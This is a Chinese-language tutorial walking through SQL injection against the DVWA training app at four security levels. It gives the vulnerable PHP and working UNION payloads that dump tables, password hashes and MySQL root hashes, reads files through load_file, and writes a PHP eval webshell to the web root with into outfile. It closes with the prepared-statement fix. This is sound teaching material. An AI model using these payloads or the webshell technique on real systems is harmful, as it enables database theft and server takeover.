SQL Injection
,即SQL
注入,SQLi
,是指攻擊者通過注入惡意的SQL
命令,破壞SQL
查詢語句的結構,從而達到執行惡意SQL
語句的目的。SQL
注入漏洞的危害巨大,常常會導致整個數據庫被“脫褲”,如今SQL
注入仍是現在最常見的Web
漏洞之一。
SQL 注入分類:
按SQLMap
中的分類來看,SQL
注入類型有以下5
種:
UNION query SQL injection(可聯合查詢注入) Stacked queries SQL injection(可多語句查詢注入) Boolean-based blind SQL injection(布爾型注入) Error-based SQL injection(報錯型注入) Time-based blind SQL injection(基於時間延遲注入)
SQL 注入常規利用思路:
1、尋找注入點,可以通過 web 掃描工具實現 2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。 3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息) 4、可以通過獲得的用戶信息,尋找后台登錄。 5、利用后台或了解的進一步信息,上傳 webshell 或向數據庫寫入一句話木馬,以進一步提權,直到拿到服務器權限。
手工注入常規思路:
1.判斷是否存在注入,注入是字符型還是數字型 2.猜解 SQL 查詢語句中的字段數 3.確定顯示的字段順序 4.獲取當前數據庫 5.獲取數據庫中的表 6.獲取表中的字段名 7.查詢到賬戶的數據
下面對四種級別的代碼進行分析。
Low Security Level:
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
由代碼可知,通過REQUEST
方式接受傳遞的參數id
,再通過sql
語句帶入查詢,並未設置任何過濾,因此可以進行sql
注入利用。
Exploit
常見注入測試的POC
:
判斷注入:
1 頁面正常 1' 頁面返回錯誤:報錯“...use near ''1''' at line 1...” 1' or '1'='2 頁面返回為空,查詢失敗 1' or '1'='1 頁面正常,並返回更多信息,成功查詢
判斷存在的是字符型注入。
猜字段:
1' order by 2#
得到字段數為2
確定回顯點:
1' union select 1,2#
猜數據庫:
1' union select 1,database()#
payload
利用另一種方式:
1' union select user(),database()--+
得到數據庫名:dvwa
PS
:union
查詢結合了兩個select
查詢結果,根據上面的order by
語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用union
查詢結合我們構造的另外一個select
.注意在使用union
查詢的時候需要和主查詢的列數相同。
猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
得到表名:guestbook,users
猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273# 1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用編碼就不用單引號,用單引號就不用編碼)
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用戶數據:
列舉出幾種payload
:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 1' union select null,concat_ws(char(32,58,32),user,password) from users # 1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
得到用戶數據:
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用戶:
1' union select 1,group_concat(user,password) from mysql.user#
得到root
用戶信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
讀文件和寫入拿shell
使用mysql
的讀寫功能需要具有一定的權限。
secure_file_priv
參數用來限制load_file,into outfile
等相關讀寫執行函數作用於哪個指定目錄。
當 secure_file_priv 的值為 null ,表示限制 mysqld 不允許導入|導出 當 secure_file_priv 的值為/tmp/ ,表示限制 mysqld 的導入|導出只能發生在/tmp/目錄下 當 secure_file_priv 的值為/,表示限制 mysqld 的導入|導出的目錄為所在的整個磁盤 當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制
通過命令查看secure-file-priv
的當前值:
show global variables like '%secure%'; mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | NULL | +------------------+-------+ 2 rows in set (0.00 sec)
由於我使用的是PHPStudy
搭建的環境,MySQL
沒有設置過secure_file_priv
時,默認為NULL
修改secure_file_priv
為指定的目錄:
Windows
下的配置文件:../MySQL/my.ini
Linux
下的配置文件:/etc/mysql/my.cnf
(不同linux
下的my.cnf
位置路徑不同,此處不一一列舉)
在[mysqld]
內加入:
secure_file_priv =
注意這里為空,表示可以導入導出到任意目錄
重啟mysql
服務,接下來開始在DVWA
中利用SQL
注入進行導入導出的操作:
load_file()
函數讀取任意文件:
1' union select 1,load_file('E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\dvwa\\index.php')#
利用into outfile()
函數寫入一句話拿webshell
:
不知道路徑的情況下,先通過報錯得出網站的絕對路徑:
1' union select 'xx',2 into outfile 'xx'#
得到路徑:
E:\web\phpStudy2017\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php
我們直接into outfile
一句話到根目錄:
1' union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
由於單引號會引起閉合而導致查詢失敗,注意一句話中的cmd
不能是單引號
或者整句使用雙引號:
1' union select 1,"<?php @eval($_POST['cmd']);?>" into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
或者采用編碼方式,如十六進制編碼的方式:
1' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
最后,導入一句話成功。
菜刀連接之即可。
Medium Security Level:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
使用了mysqli_real_escape_string
函數對特殊字符進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
Exploit
判斷是否存在注入,注入是字符型還是數字型?
抓包更改參數id
為1' or 1=1 #
,報錯,
抓包更改參數id
為1 or 1=1 #
,查詢成功,
說明存在數字型注入。
(由於是數字型注入,服務器端的mysql_real_escape_string
函數就形同虛設了,因為數字型注入並不需要借助引號。)
猜表名:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到表名:guestbook
,users
猜列名:
考慮到單引號被轉義,可以利用 16 進制進行繞過,抓包更改參數id
為
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用戶數據
抓包修改參數id
為
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
得到用戶數據:
admin 5f4dcc3b5aa765d61d8327deb882cf99
High Secuirty Level:
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
可以看到,與Low Secuity Level
的代碼相比,Medium Secuity Level
的只是在SQL
查詢語句中添加了LIMIT 1
,希望以此控制只輸出一個結果。雖然添加了LIMIT 1
,但是我們可以通過#
將其注釋掉。
Exploit
由於手工注入的過程與Low
級別基本一樣,直接最后一步演示下載數據。輸入:
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Impossible Security Level:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,Impossible Secuity Level
的代碼采用了PDO
技術,划清了代碼與數據的界限,有效防御SQL
注入,同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了”脫褲”,Anti-CSRFtoken
機制的加入了進一步提高了安全性。